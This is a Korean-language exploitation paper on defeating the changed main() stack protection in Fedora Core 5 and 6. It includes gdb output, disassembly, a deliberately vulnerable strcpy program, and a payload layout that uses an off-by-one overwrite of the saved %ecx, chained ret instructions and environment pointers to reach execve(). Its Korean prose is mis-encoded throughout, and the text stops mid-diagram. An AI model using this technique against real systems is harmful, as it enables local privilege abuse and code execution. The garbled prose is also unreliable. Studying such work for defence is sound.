* Á¦ ¸ñ: Fedora Core 5,6 ½Ã½ºÅÛ ±â¹Ý main() ÇÔ¼ö ³»ÀÇ ´Þ¶óÁø stack overflow °ø°Ý ±â¹ý. (Fedora Core 5,6 based main() function stack overflow exploit method) * Å×½ºÆ® ȯ°æ: Fedora Core release 5 (Bordeaux) Linux 2.6.15-1.2054_FC5 #1 Tue Mar 14 15:48:33 EST 2006 Fedora Core release 6 (Zod) Linux 2.6.18-1.2798.fc6 #1 SMP Mon Oct 16 14:54:20 EDT 2006 * ÀÛ¼ºÀÚ: À¯µ¿ÈÆ - Xpl017Elz http://x82.inetcop.org 0x0) Àâ´ã À̹ø¿¡ ¼Ò°³ÇÏ´Â °ø°Ý ±â¹ýÀº ½ÇÁ¦ application¿¡¼­ ¹ß»ýÇÒ È®·üÀÌ ±ØÈ÷ µå¹® exploit case ÀÌ´Ù. ÀÌ·¸°Ô Fedora core 5 ÀÌ»ó ¹öÀüÀÇ ½Ã½ºÅÛºÎÅÍ º¯°æµÈ main() ÇÔ¼ö °ø°Ý ±â¹ý¿¡ ´ëÇØ ´Ù·ç·Á´Â ÀÌÀ¯´Â(?) ´ÜÁö Àç¹Ì¸¦ À§Çؼ­ÀÌ´Ù. :-} ¹°·Ð, Àç¹Ì·Î´Â ´Ù·ê ¼ö ¾ø´Â Áß¿äÇÑ ³»¿ëÀÌ µÉ ¼öµµ ÀÖ´Ù. ÇöÀç ´Þ¶óÁø main() ÇÔ¼ö ÇÁ·Ñ·Î±×, ¿¡ÇÊ·Î±× °úÁ¤ÀÌ ¸ðµç ÇÔ¼ö¿¡ Àû¿ëµÈ´Ù¸é, À̾߱â´Â ´Þ¶óÁú °ÍÀÌ´Ù. ¾Æ¸¶µµ ÇöÀ纸´Ù´Â °ø°ÝÇϱ⠱î´Ù·Î¿î ȯ°æÀÌ µÉ °ÍÀÌ´Ù. ³ª´Â ¾ÆÁ÷ main() ÇÔ¼ö ÇÁ·Ñ·Î±×, ¿¡Çʷα×ÀÇ º¯°æ ÀÌÀ¯¸¦ ¸íÈ®ÇÏ°Ô ÆÄ¾ÇÇÏÁö ¸øÇß´Ù. ´ÜÁö º¸¾È¼º °­È­¶ó´Â ÀÌÀ¯¸¸À¸·Î ¼öÁ¤µÈ °ÍÀ̶ó¸é ÀÌ°Í Àú°Í ½ÃÇèÇØº¸´Â ´Ü°è°¡ ¾Æ´Ò±î ÆÇ´ÜµÈ´Ù. º¯°æµÈ ÇÔ¼öÀÇ ½ÃÀÛ°ú ³¡ ºÎºÐÀº ¸¶Ä¡ ¿À·¡ Àü StackGuard¿Í StackShield ¼Ö·ç¼ÇÀ» Àû´çÈ÷ º£²¸ ¼¯¾î³õÀº µíÇÑ(?) ±âºÐ ¸¶Á® µé°ÔÇÑ´Ù. ±×·³, º¯°æµÈ main() ÇÔ¼ö¸¦ ºÐ¼®Çϱâ Àü¿¡ StackGuard¿Í StackShield ¼Ö·ç¼Ç¿¡ ´ëÇØ °£´ÜÈ÷ ¤¾îº¸°í ³Ñ¾î°¡µµ·Ï ÇÏÀÚ. 0x1) StackGuard, StackShield ¼Ö·ç¼Ç ´ÜÁö stack ±â¹Ý overflow Ãë¾àÁ¡À» Â÷´ÜÇϱâ À§ÇÑ ¼Ö·ç¼ÇÀº ÀÌ·± °ÍÀÌ ÀÖ´Ù~ Á¤µµ·Î ÁغñÇØº¸¾Ò´Ù. º¸´Ù ÀÚ¼¼ÇÑ ³»¿ëÀ» °øºÎÇÏ·Á¸é, Bulba and Kil3r°¡ ÀÛ¼ºÇÑ Phrack 56-05È£ "BYPASSING STACKGUARD AND STACKSHIELD" ¹®¼­¸¦ Âü°íÇÏ±æ ¹Ù¶õ´Ù. ±×·³, StackGuard¿Í StackShieldÀÇ ±¸Á¶¿¡ ´ëÇØ »ìÆìº¸µµ·Ï ÇÏÀÚ. 0x1-1) StackGuardÀÇ ±¸Á¶ ÀÌ ¼Ö·ç¼ÇÀº ÀϹÝÀûÀÎ stack ±â¹Ý overflow ±â¹ýÀÌ Áö¿ª º¯¼ö ±ÙóÀÇ return address¸¦ º¯Á¶ÇÑ´Ù¶ó´Â °ÍÀ» ¾Ë°í return address ±Ùó¿¡ canary¶ó ºÒ¸®¿ì´Â 4byte º¯¼ö¸¦ ³Ö´Â °ÍÀÌ´Ù. ÇÔ¼öÀÇ ¿ªÇÒÀÌ ³¡³­ ÈÄ, ÀÌÀü ÇÔ¼ö·Î ´Ù½Ã µ¹¾Æ°¥ ¶§ canary º¯¼öÀÇ º¯°æ ¿©ºÎ¸¦ °Ë»çÇÏ¿© °ø°ÝÀÌ ¹ß»ýÇÏ¿´´ÂÁö ÆÇ´ÜÇÏ´Â ¿ø¸®¸¦ °®°í ÀÖ´Ù. ------------------------------------------------------------------------------------------------------------- ^ | ÁÖ¼Ò°¡ Ä¿Áö´Â ¹æÇâ ... +---------------------+ | ÇÔ¼ö Return address | +---------------------+ | canary | +---------------------+ | frame pointer(%ebp) | +---------------------+ | Áö¿ª º¯¼ö | +---------------------+ ... | ½ºÅÃÀÌ Ä¿Áö´Â ¹æÇâ V ------------------------------------------------------------------------------------------------------------- 0x1-2) StackShieldÀÇ ±¸Á¶ ÀÌ ¼Ö·ç¼ÇÀº retrun address¸¦ stackÀÌ ¾Æ´Ñ heap .data ¿µ¿ª Å×ÀÌºí¿¡ º¹»çÇØµÎ¾ú´Ù°¡ ÇÔ¼ö ¿ªÇÒÀÌ ³¡³­ µÚ, ÀÌÀü ÇÔ¼ö·Î ´Ù½Ã µ¹¾Æ°¥ ¶§ º¹»çÇØµÎ¾ú´ø ¿ø·¡ÀÇ return address¸¦ º¹±¸ÇÏ´Â ¿ø¸®¸¦ °®°í ÀÖ´Ù. ´ÙÀ½ ¼³¸íÇÏ´Â ÄÚµå´Â StackShield 0.3 Ãʱ⠹öÀü¿¡¼­ Á¶°Ç¹®À» Á¦¿ÜÇÑ ÇÙ½É ¾Ë°í¸®Áò ºÎºÐ¸¸ °£Ã߸° °ÍÀÌ´Ù. ------------------------------------------------------------------------------------------------------------- (gdb) x 0x08049580 ; heap .data ¿µ¿ª¿¡ ÀÖ´Â retarray Æ÷ÀÎÅÍ 0x8049580 : 0x00000000 ; ÃÑ 1024byte·Î ÀÌ·ç¾îÁø retarray ¹è¿­ (gdb) ÇÁ·Ñ·Î±×: mov 0x804948c,%eax ; retarray Æ÷ÀÎÅÍ ÁÖ¼Ò¸¦ %eax ·¹Áö½ºÅÍ·Î º¹»ç. mov 0x4(%ebp),%edx ; return address(%ebp + 4) ÁÖ¼Ò¸¦ %edx ·¹Áö½ºÅÍ·Î º¹»ç. mov %edx,(%eax) ; %edx ·¹Áö½ºÅ͸¦ retarray ¹è¿­¿¡ º¹»ç add $0x4,0x804948c ; retarray Æ÷ÀÎÅÍ ÁÖ¼Ò 4byte Áõ°¡ ... ¿¡Çʷα×: add $-0x4,0x804948c ; retarray Æ÷ÀÎÅÍ ÁÖ¼Ò 4byte °¨¼Ò mov 0x804948c,%ebx ; retarray Æ÷ÀÎÅÍ ÁÖ¼Ò¸¦ %ebx ·¹Áö½ºÅÍ·Î º¹»ç mov (%ebx),%edx ; retarray ¹è¿­ ³»ÀÇ return address ÁÖ¼Ò¸¦ %edx ·¹Áö½ºÅÍ·Î º¹»ç mov %edx,0x4(%ebp) ; %edx ·¹Áö½ºÅ͸¦ stackÀÇ return address À§Ä¡·Î º¹±¸ ------------------------------------------------------------------------------------------------------------- °á°úÀûÀ¸·Î stackÀÌ ¾Æ´Ñ heap¿¡ À§Ä¡ÇÑ return address ¿øº»Àº ¼öÁ¤ÇÒ ¼ö ¾øÀ¸¹Ç·Î, °ø°Ý¿¡ ½ÇÆÐÇÏ°Ô µÈ´Ù. ±×·³, ÀÌÁ¦ Fedora core 5 ÀÌ»ó ½Ã½ºÅÛ¿¡¼­ º¯°æµÈ main() ÇÔ¼ö ºÎºÐÀ» »ìÆìº¸µµ·Ï ÇÏÀÚ. 0x2) Fedora core 5 ½Ã½ºÅÛºÎÅÍ º¯°æµÈ main() ÇÔ¼ö À̹ø Fedora core 5 ½Ã½ºÅÛ¿¡¼­ º¯°æµÈ ºÎºÐÀº main() ÇÔ¼ö ÇÁ·Ñ·Î±×, ¿¡ÇÊ·Î±× °úÁ¤ÀÌ¸ç ±âº»ÀûÀÎ ¾Ë°í¸®ÁòÀº Stackshield¿Í Èí»çÇÏ´Ù. ÇÏÁö¸¸ return address ¿øº»À» heapÀÌ ¾Æ´Ñ stack¿¡ µÎ¸ç, ÀÌ ÁÖ¼Ò¸¦ º¯Á¶ÇÏÁö ¸øÇϵµ·Ï StackGuardÀÇ canary¿Í À¯»çÇÑ ¿ªÇÒÀÇ %ecx ·¹Áö½ºÅ͸¦ frame pointer ±Ùó¿¡ µÐ´Ù´Â Á¡ÀÌ ´Ù¸£´Ù°í ÇÒ ¼ö ÀÖ´Ù. ±×·³, ½ÇÁ¦ ½Ã½ºÅÛ ºÐ¼®À» ÅëÇØ ÀÚ¼¼È÷ ¾Ë¾Æº¸µµ·Ï ÇϰڴÙ. ÀÌÀü Fedora core 4 ½Ã½ºÅÛÀÇ main() ÇÔ¼ö ÇÁ·Ñ·Î±× °úÁ¤Àº ´ÙÀ½°ú °°´Ù. ------------------------------------------------------------------------------------------------------------- Fedora core 5 ÀÌÀüÀÇ main() ÇÔ¼ö ÇÁ·Ñ·Î±×: push %ebp mov %esp,%ebp ------------------------------------------------------------------------------------------------------------- %ebp ·¹Áö½ºÅÍ¿¡ ³Ö¾îÁú %esp ·¹Áö½ºÅÍ À§Ä¡¿¡´Â ÀÌ¹Ì __libc_start_main() ÇÔ¼öÀÇ return address°¡ µé¾îÀÖ´Ù. ------------------------------------------------------------------------------------------------------------- (gdb) br *main+0 Breakpoint 1 at 0x80483b0 (gdb) r ... Breakpoint 1, 0x080483b0 in main () (gdb) x/x $esp 0xbfc7017c: 0x00729de6 (gdb) x 0x00729de6 0x729de6 <__libc_start_main+198>: 0xe8240489 (gdb) disass __libc_start_main ... 0x00729de3 <__libc_start_main+195>: call *0x8(%ebp) 0x00729de6 <__libc_start_main+198>: mov %eax,(%esp) <=== ¹Ù·Î ÀÌ ºÎºÐ. ... (gdb) ------------------------------------------------------------------------------------------------------------- __libc_start_main+195¿¡¼­ main() ÇÔ¼ö¸¦ call Çϸé, stack¿¡ return address¸¦ ³Ö°í ÇÁ·Ñ·Î±×·Î ³Ñ¾î¿À°Ô µÈ´Ù. ±×·±µ¥ Fedora core 5¿¡¼­´Â main() ÇÔ¼öÀÇ ÇÁ·Ñ·Î±×¿¡¼­ Ãß°¡·Î ÇÏ´Â ÀÏÀÌ ÀÖ´Ù. ------------------------------------------------------------------------------------------------------------- Fedora core 5 ÀÌ»óÀÇ ½Ã½ºÅÛºÎÅÍ º¯°æµÈ main() ÇÔ¼ö ÇÁ·Ñ·Î±×: 1 lea 0x4(%esp),%ecx 2 and $0xfffffff0,%esp 3 pushl 0xfffffffc(%ecx) 4 push %ebp 5 mov %esp,%ebp 6 push %ecx ------------------------------------------------------------------------------------------------------------- 1. %esp + 4ÀÇ À§Ä¡ ÁÖ¼Ò¸¦ %ecx ·¹Áö½ºÅÍ¿¡ ³Ö´Â´Ù. (ÇöÀç %esp ·¹Áö½ºÅÍ¿¡´Â __libc_start_main() ÇÔ¼öÀÇ return address°¡ µé¾îÀÖÀ½) 2. %esp ·¹Áö½ºÅÍÀÇ À§Ä¡¸¦ and ¿¬»êÀ» ÅëÇØ º¯°æÇÑ´Ù. (%esp & -16) 3. %ecx - 4 À§Ä¡´Â __libc_start_main() ÇÔ¼öÀÇ return address °ªÀÌ µé¾îÀÖ´Ù. ÇöÀç stack¿¡ ÀúÀåÇÑ´Ù. (¿øº» return address¸¦ ÀúÀåÇÏ´Â ºÎºÐ) 4. ÇöÀç stack¿¡ ÀÌÀü ÇÔ¼öÀÇ %ebp ·¹Áö½ºÅÍ ÀúÀå. (ÀÏ¹Ý main() ÇÔ¼ö ÇÁ·Ñ·Î±× °úÁ¤) 5. %esp¸¦ %ebp¿¡ º¹»çÇÏ¿© main() ÇÔ¼ö frame pointer ¼³Á¤. (ÀÏ¹Ý main() ÇÔ¼ö ÇÁ·Ñ·Î±× °úÁ¤) 6. %ecx ·¹Áö½ºÅ͸¦ ÇöÀç stack¿¡ ÀúÀåÇÏ¿© canary ¿ªÇÒÀ» Çϵµ·Ï ¸¸µë. ÀÌ °úÁ¤À» °ÅÄ¡¸é stackÀÇ ¸ð¾çÀº ´ÙÀ½°ú °°ÀÌ µÈ´Ù. ------------------------------------------------------------------------------------------------------------- ^ | ÁÖ¼Ò°¡ Ä¿Áö´Â ¹æÇâ ... +------------------------------------+ <- ¿ø·¡ %esp ·¹Áö½ºÅÍ ÁÖ¼Ò (1)¹ø °úÁ¤ | | __libc_start_main() return address | | ½º +------------------------------------+ | | ... | | Åà +------------------------------------+ <- (2)¹ø °úÁ¤¿¡ ÀÇÇØ ¿Å°ÜÁø %esp ·¹Áö½ºÅÍ | | __libc_start_main() return address | <- (3)¹ø °úÁ¤¿¡ ÀÇÇØ ÀúÀåµÈ %ecx - 4 | Áø +------------------------------------+ | | ÀÌÀü base frame pointer | <- (4)¹ø °úÁ¤¿¡ ÀÇÇØ ÀúÀåµÈ ÀÌÀü ÇÔ¼ö %ebp ·¹Áö½ºÅÍ | Çà +------------------------------------+ <- (5)¹ø °úÁ¤¿¡ ÀÇÇØ ¿Å°ÜÁø %ebp ·¹Áö½ºÅÍ | | %ecx ·¹Áö½ºÅÍ | <- (6)¹ø °úÁ¤¿¡ ÀÇÇØ ÀúÀåµÈ %ecx ·¹Áö½ºÅÍ | ¹æ +------------------------------------+ <- (6)¹ø °úÁ¤±îÁö ³¡³­ ÈÄ %esp ·¹Áö½ºÅÍ | ... V Çâ V | ½ºÅÃÀÌ Ä¿Áö´Â ¹æÇâ V ------------------------------------------------------------------------------------------------------------- ÀÌÈÄ¿¡ È£ÃâµÇ´Â ÇÔ¼öÀÇ ÇÁ·Ñ·Î±×´Â Fedora core 4 ½Ã½ºÅÛ ±¸Á¶¿Í µ¿ÀÏÇÏ´Ù. ±×¸®°í, main ÇÔ¼öÀÇ ¿¡ÇÊ·Î±× °úÁ¤Àº ´ÙÀ½°ú °°´Ù. ------------------------------------------------------------------------------------------------------------- Fedora core 5 ÀÌ»óÀÇ ½Ã½ºÅÛºÎÅÍ º¯°æµÈ main() ÇÔ¼ö ¿¡Çʷα×: 1 pop %ecx 2 pop %ebp 3 lea 0xfffffffc(%ecx),%esp 4 ret ------------------------------------------------------------------------------------------------------------- 1. stack¿¡¼­ %ecx ·¹Áö½ºÅ͸¦ ²¨³½´Ù. (%esp 4byte Áõ°¡) ÀÌ·¸°Ô ²¨³½ %ecx´Â Áö¿ª º¯¼ö ¹Ù·Î ¿·¿¡ ÀÚ¸®Àâ°í ÀÖ´Ù. 2. stack¿¡¼­ %ebp(ÀÌÀü base frame pointer) ·¹Áö½ºÅ͸¦ ²¨³½´Ù. (%esp 4byte Áõ°¡) 3. %ecx - 4 À§Ä¡ ÁÖ¼Ò¸¦ %esp¿¡ ³Ö´Â´Ù. °á±¹, __libc_start_main() ÇÔ¼öÀÇ ¿øº» return address À§Ä¡·Î %esp ·¹Áö½ºÅ͸¦ À̵¿½ÃŲ´Ù. 4. ret ¸í·ÉÀ» ÅëÇØ pop %eip µÇ¸é, ÇöÀç %esp¿¡ ÀÖ´Â __libc_start_main() ÇÔ¼ö·Î µ¹¾Æ°£´Ù. (%esp 4byte Áõ°¡) ¾Õ¼­ ¼³¸íÇÑ ¹Ù¿Í °°ÀÌ canary ¿ªÇÒÀ» ÇÏ´Â %ecx ·¹Áö½ºÅÍ´Â random stack ȯ°æÀ̹ǷÎ, ÃßÃøÀÌ ½±Áö ¾Ê´Ù. (¹°·Ð, ºÒ°¡´ÉÇÑ °ÍÀº ¾Æ´ÏÁö¸¸) ¶ÇÇÑ, %ecx ·¹Áö½ºÅ͸¦ ÂüÁ¶ÇÏ¿© stack »óÀÇ return address¸¦ ¾ò¾î¿À±â ¶§¹®¿¡ ÀϹÝÀûÀÎ stack overflow¸¦ ½ÃµµÇÏ¿© °ø°ÝÀ» ¼º°ø½ÃŰ´Â ÀÏÀº ¾î·Æ´Ù°í º¼ ¼ö ÀÖ´Ù. ÀÌ·¸°Ô º¯°æµÈ »çÇ×ÀÌ ÇÁ·Î±×·¥ ¼º´É »óÀÇ Àç¼³°èÀÎÁö, º¸¾È»ó ¹®Á¦Á¡À» ÇØ°áÇϱâ À§ÇÑ ¹ø°æÀÎÁö´Â Á¤È®È÷ ¾Ë ¼ö ¾ø´Ù. Áö±Ý±îÁöÀÇ »óȲÀ» ´Ù½Ã Çѹø Á¤¸®Çغ¸µµ·Ï ÇϰڴÙ. ¿¹Àü ½Ã½ºÅÛ¿¡¼­ °ø°ÝÀ» ½ÃµµÇغ¸¸é, Áö¿ª º¯¼ö ÈÄ, ÀúÀåµÈ frame pointer¿Í return address¸¦ Á÷Á¢ÀûÀ¸·Î µ¤¾î ¾º¿ì´Â °ÍÀÌ °¡´ÉÇß´Ù. ±×·¯³ª, º¯°æµÈ ½Ã½ºÅÛ¿¡¼­ stack overflow °ø°ÝÀ» ½ÃµµÇÒ °æ¿ì, return address¸¦ µ¤¾î¾º¿ì´Â °ÍÀº ºÒ°¡´ÉÇÏ´Ù. ±× ÀÌÀ¯´Â Áö¿ª º¯¼ö¸¦ µ¤¾î¾º¿ï °æ¿ì ±× ¿·¿¡ ÀÚ¸® Àâ°í ÀÖ´Â %ecx ·¹Áö½ºÅÍ ³»¿ëµµ ÇÔ²² º¯°æµÇ´Âµ¥ ÀÌ ·¹Áö½ºÅÍ¿¡ ÀÇÇØ return address°¡ ±¸¼ºµÇ±â ¶§¹®ÀÌ´Ù. °Ô´Ù°¡ canary·Î ¾²ÀÌ´Â %ecx ·¹Áö½ºÅÍ´Â random stack ȯ°æÀ̹ǷΠÁ¤ÀûÀÌÁö ¾Ê´Ù. ÀÌ ¶§¹®¿¡ °ø°ÝÀÚ°¡ %ecx ·¹Áö½ºÅÍÀÇ ÁÖ¼Ò °ªÀ» ÃßÃøÇÏ¿© return address °ªÀ» º¯°æÇÏ´Â °Í ¶ÇÇÑ Èûµé´Ù°í º¼ ¼ö ÀÖ´Ù. 0x3) ¹®Á¦Á¡ ÇØ°áÀ» À§ÇÑ exploit ±×·³, ÀÌÁ¦ ÀÌ·¯ÇÑ È¯°æ¿¡¼­ ¾î¶² exploit method¸¦ Àû¿ë½Ãų ¼ö ÀÖ´ÂÁö »ý°¢Çغ¸µµ·Ï ÇÏÀÚ. ¿©·¯°¡Áö °ø°Ý ¹æ¹ýÀÌ ÀÖÀ» ¼ö ÀÖ´Ù. %ecx ·¹Áö½ºÅÍÀÇ ÁÖ¼Ò °ªÀ» ÃßÃøÇÏ´Â °ÍÀÌ °¡Àå ÁÁÀº ¹æ¹ýÀ̰ڰí, À̰ÍÀÌ ºÒ°¡´ÉÇÏ´Ù¸é, %ecx ·¹Áö½ºÅÍÀÇ 1byte¸¸ NULL·Î º¯°æÇÏ´Â off-by-one ±â¹ýÀ» ½ÃµµÇغ¼ ¼öµµ ÀÖ´Ù. ¸ÕÀú, ÀüÀÚÀÇ °æ¿ì¿Í °°ÀÌ %ecx ·¹Áö½ºÅ͸¦ ÃßÃøÇÏ´Â ¹æ¹ýÀÌ ÀÖ´Ù. ¿¹Àü ¹®¼­ Áß, "Fedora Core3 ½Ã½ºÅÛ local ±â¹Ý ·£´ý ½ºÅà ¹«·ÂÈ­(?) ±â¹ý"À̶õ ¹®¼­¸¦ º¸¸é, ºÎ¸ð ÇÁ·Î¼¼½º¿Í ÀÚ½Ä ÇÁ·Î¼¼½ºÀÇ stackÀÌ µ¿ÀÏÇÏ°Ô ¸ÊÇεǴ °æ¿ì°¡ ¹ß»ýÇÒ ¶§ ½ÃµµÇÒ ¼ö ÀÖ´Â °ø°Ý ±â¹ýÀ» ¼Ò°³Çϰí ÀÖ´Ù. ÀÌ ¹æ¹ýÀ» ÀÌ¿ëÇϸé %ecx ·¹Áö½ºÅÍ ÁÖ¼Ò °ª°ú return addressÀÇ À§Ä¡¸¦ ÆÄ¾ÇÇÒ ¼ö ÀÖÀ¸¹Ç·Î, stack ±â¹ÝÀÇ overflow exploitÀÌ °¡´ÉÇÏ´Ù. ÇÏÁö¸¸, ÀÌ ¹æ¹ýÀº »ç¿ëÇϱâ *¸Å¿ì* ±î´Ù·Ó´Ù. ¸Å¹ø °ø°Ý ´ë»ó ÇÁ·Î±×·¥ÀÇ ½ºÅà ȯ°æ°ú °ÅÀÇ µ¿ÀÏÇÏ°Ô ±¸¼ºÇØÁÖ¾î¾ß ÇÏ´Â ¹ø°Å·Î¿òÀÌ Àֱ⠶§¹®¿¡ °¡´ÉÇϸé ÃßõÇÏÁö ¾Ê´Â °ø°Ý ±â¹ýÀÌ´Ù. ¶Ç ´Ù¸¥ ¹æ¹ýÀ¸·Î %ecx ·¹Áö½ºÅÍ off-by-one °ø°Ý ±â¹ýÀÌ ÀÖ´Ù. %ecx ·¹Áö½ºÅ͸¦ ÃßÃøÇÒ ÇÊ¿ä¾øÀÌ ¸¶Áö¸· 1byte¸¦ null·Î µ¤¾î¾º¿ì´Â °ÍÀÌ´Ù. °á±¹, 1byte¸¸ null·Î º¯°æµÈ %ecx ·¹Áö½ºÅÍÀÇ - 4 À§Ä¡¿¡ return address°¡ µÉ ÁÖ¼Ò °ªÀ» ³Ö¾îÁÖ¸é µÈ´Ù. ½ÃµµÇغ» °á°ú, return address¸¦ º¯°æÇϴµ¥ ¼º°øÇÏ¿´À¸¸ç, °£Á¢ÀûÀ¸·Î return address¸¦ º¯°æÇÏ´Â frame pointer overwrite °ø°Ý ±â¹ý°ú ¸Å¿ì À¯»çÇÑ °ø°Ý ±¸Á¶¸¦ ¸¸µé ¼ö ÀÖ°Ô µÇ¾ú´Ù. ------------------------------------------------------------------------------------------------------------- [XXXXXXXXXXXXX...RRRR...XXXX][0x00,ecx] ^ | | | +--------------+ ------------------------------------------------------------------------------------------------------------- ÇÏÁö¸¸, ÇöÀç ´ç¸éÇØÀÖ´Â °¡Àå Å« ¹®Á¦Á¡Àº return address º¯°æÀÌ ¾Æ´Ï¶ó, shellÀ» ½ÇÇà½Ãų ¼ö ÀÖ´Â exploitÀ» ÀÛ¼ºÇÏ´Â °ÍÀÌ´Ù. Áï, return address¸¦ º¯°æÇÑ´Ù°í ÇØµµ ½Ã½ºÅÛ ¸í·ÉÀº ½ÇÇàÇÒ ¼ö´Â ¾ø´Â »óÅÂÀÌ´Ù. (´Ü, °ø°ÝÀÚ¿¡°Ô null ÀÔ·ÂÀ» Çã¿ëÇϴ ȯ°æ¿¡¼­´Â exploitÀÌ ½±°Ô °¡´ÉÇÔ) ÀÌ »óÅ¿¡¼­ exploitÀ» ¼º°ø½Ã۱â À§ÇØ ¿©·¯°¡Áö ½Ãµµ¸¦ ÇØº» °á°ú, Àç¹ÌÀÖ´Â method Çϳª¸¦ ¹ß°ßÇÒ ¼ö ÀÖ¾ú´Ù. ¸ÕÀú, ¸¶Áö¸· 1byte¸¦ null·Î µ¤¾î¾º¿ì°í, %ecx - 4 À§Ä¡¿¡ ret code¸¦ ¹Ýº¹ »ðÀÔÇÏ¸é ¾î¶»°Ô µÉ±î? ¹Ýº¹ »ðÀÔÇÑ ¸¸Å­ %esp ·¹Áö½ºÅÍ´Â 4byte¾¿ À̵¿ÇÒ °ÍÀÌ´Ù. ¿©±â±îÁö´Â ÀÌÀüÀÇ ret(pop %eip) °ø°Ý°ú µ¿ÀÏÇÏ´Ù. ±×·±µ¥ ÀÌ ¶§, ÀԷµǴ ¸¶Áö¸· 4byte¸¦ ¼öÁ¤ÇÏ¿© main() ÇÔ¼ö ¿¡Çʷα׸¦ µÎ ¹ø ½ÇÇàÇÏ°Ô ¸¸µç´Ù¸é?? ¸ÕÀú, °ø°Ý ´ë»ó ÄÚµå¿Í ±× ÇÁ·Î±×·¥ÀÇ main() ÇÔ¼öÀÇ ¿¡Çʷα״ ´ÙÀ½°ú °°´Ù. ------------------------------------------------------------------------------------------------------------- [root@localhost main_based]# cat strcpy.c int main(int argc,char *argv[]){ char buf[256]; strcpy(buf,argv[1]); } [root@localhost main_based]# gdb -q strcpy (gdb) disass main ... 0x08048382 : add $0x114,%esp ; %esp ·¹Áö½ºÅÍ¿¡ Áö¿ª º¯¼ö Å©±â¸¸Å­À» Áõ°¡ 0x08048388 : pop %ecx ; %ecx ·¹Áö½ºÅÍ º¹±¸ 0x08048389 : pop %ebp ; %ebp ·¹Áö½ºÅÍ º¹±¸ 0x0804838a : lea 0xfffffffc(%ecx),%esp ; %esp ·¹Áö½ºÅ͸¦ %ecx - 4 À§Ä¡·Î º¹±¸ 0x0804838d : ret ; %eip ·¹Áö½ºÅÍ º¹±¸ 0x0804838e : nop 0x0804838f : nop ... (gdb) ------------------------------------------------------------------------------------------------------------- ÇÁ·Î±×·¥ main() ÇÔ¼öÀÇ Á¤»óÀûÀÎ ¿¡Çʷα״ ¿ì¸®°¡ ÀǵµÇÑ´ë·Î, 0x??????fc ÁÖ¼Ò(%ecx ·¹Áö½ºÅÍ - 4)¸¦ °®°Ô µÉ °ÍÀ̸ç, Áö¿ª º¯¼ö Àüü¸¦ ret code·Î ä¿üÀ¸¹Ç·Î, ret ¸í·É ½ÇÇà¿¡ ÀÇÇØ %esp ·¹Áö½ºÅÍ´Â 4byte¾¿ À̵¿ÇÏ¿© À§ÀÇ %ecx ·¹Áö½ºÅͰ¡ º¹±¸µÈ ÁöÁ¡ ±Ùó±îÁö ¿À°Ô µÈ´Ù. ¿©±â¼­ main() ÇÔ¼ö ¿¡Çʷα×ÀÎ main+46 ºÎºÐÀ» ´Ù½Ã È£ÃâÇϸé, %esp ·¹Áö½ºÅÍ´Â 0x114(276) Å©±â ¸¸Å­ Áõ°¡ÇÏ¿© argument Æ÷ÀÎÅÍ, ȯ°æ º¯¼ö Æ÷ÀÎÅÍ ±Ùó±îÁö µµ´ÞÇÒ ¼ö ÀÖ°Ô µÈ´Ù. ÀÌ¹Ì "Fedora Core 4,5,6 ³»¿¡¼­ local ½ºÅà ±â¹Ý overflow exploit ¹æ¹ý #2" ¹®¼­¸¦ Á¢Çغ» »ç¶÷À̶ó¸é, ÀÌ ºÎºÐ¿¡¼­ exploitÀ» ¼º°øÇÒ ¼ö ÀÖ´Â Á¶°ÇÀÌ °®ÃçÁ³´Ù´Â °ÍÀ» ÇÑ ´«¿¡ ¾Ë ¼ö ÀÖÀ» °ÍÀÌ´Ù. ȯ°æ º¯¼ö Æ÷ÀÎÅ͸¦ ÀÌ¿ëÇÏ¿© exploitÀ» ÀÛ¼ºÇÏ´Â ¹æ¹ý¿¡ ´ëÇØ ÇнÀÇÏÁö ¾Ê¾Ò´Ù¸é, ¸ÕÀú ¹®¼­ ³»¿ëÀ» °øºÎÇϱ⠹ٶõ´Ù. ÀÌÁ¦ ¿ì¸®´Â exploitÀ» ¼º°ø½Ãų ¼ö ÀÖ´Ù. :-} ´ÙÀ½ main+52 ºÎºÐ¿¡¼­ %ecx ·¹Áö½ºÅ͸¦ º¹±¸ÇÒ ¶§, ¿ì¸®°¡ ¼³Á¤ÇÑ È¯°æ º¯¼ö Æ÷ÀÎÅ͸¦ °¡Á®°¡±â ¶§¹®¿¡, %esp ·¹Áö½ºÅÍ À§Ä¡°¡ µÇ´Â %ecx - 4 ÁöÁ¡Àº ¼±¾ð °¡´ÉÇÑ È¯°æ º¯¼ö Äڵ尡 ¿À°Ô µÈ´Ù. Áö¿ª º¯¼öÀÇ Å©±â°¡ Å©´õ¶óµµ °ÆÁ¤ÇÒ ÇÊ¿ä´Â ¾ø´Ù. ȯ°æ º¯¼ö ¿©·¯ °³¸¦ Àû´çÈ÷ ¼±¾ðÇÏ¿© stackÀ» ºüÁ®³ª°¡ º¹±¸µÇ´Â %ecx ·¹Áö½ºÅÍ À§Ä¡¿¡ ¸ÂÃçÁֱ⸸ ÇÏ¸é º° ¹®Á¦¾øÀÌ exploitÀ» ¼º°øÇÒ ¼ö ÀÖ´Ù. °ø°ÝÀÇ Àü¹ÝÀûÀÎ ±¸¼ºÀº ´ÙÀ½°ú °°´Ù. ------------------------------------------------------------------------------------------------------------- payload ±¸¼º: Áö¿ª º¯¼ö ³»¿¡¼­ ¸¶Áö¸· 4byte¸¦ Á¦¿ÜÇÑ ¸ðµç °ø°£À» ret code ÁּҷΠä¿ö³Ö´Â´Ù. ÀÌ·¸°Ô ä¿ö³ÖÀ» °æ¿ì, %ecx ·¹Áö½ºÅÍ off-by-one¿¡ ÀÇÇØ return address¸¦ ret code ÁÖ¼Ò·Î º¯°æ½Ãų ¼ö ÀÖ°Ô µÈ´Ù. ´ÙÀ½°ú °°ÀÌ ±¸¼ºÇØÁÖ¸é, main() ÇÔ¼ö ¿¡Çʷα׸¦ µÎ ¹ø ¼öÇàÇÒ ¼ö ÀÖÀ¸¸ç, ¾Æ·¡ ±¸¼ºÇÑ È¯°æ º¯¼ö ³»¿ëÀ» ±×´ë·Î Âü°íÇÏ¿© execve() ÇÔ¼ö¸¦ È£ÃâÇÏ°Ô µÈ´Ù. ^ | ½ºÅÃÀÌ Ä¿Áö´Â ¹æÇâ ... +-------------------+ | ret(pop %eip) |: overflow µÇ´Â Áö¿ª º¯¼ö¸¦ ¸ðµÎ ret code·Î ä¿ò. +-------------------+ | ret(pop %eip) | +-------------------+ | ret(pop %eip) | +-------------------+ | ret(pop %eip) | +-------------------+ | ret(pop %eip) |: ¨è º¯Á¶µÈ %ecx - 4 À§Ä¡¿¡¼­ %eip¸¦ pop ÇÑ´Ù. 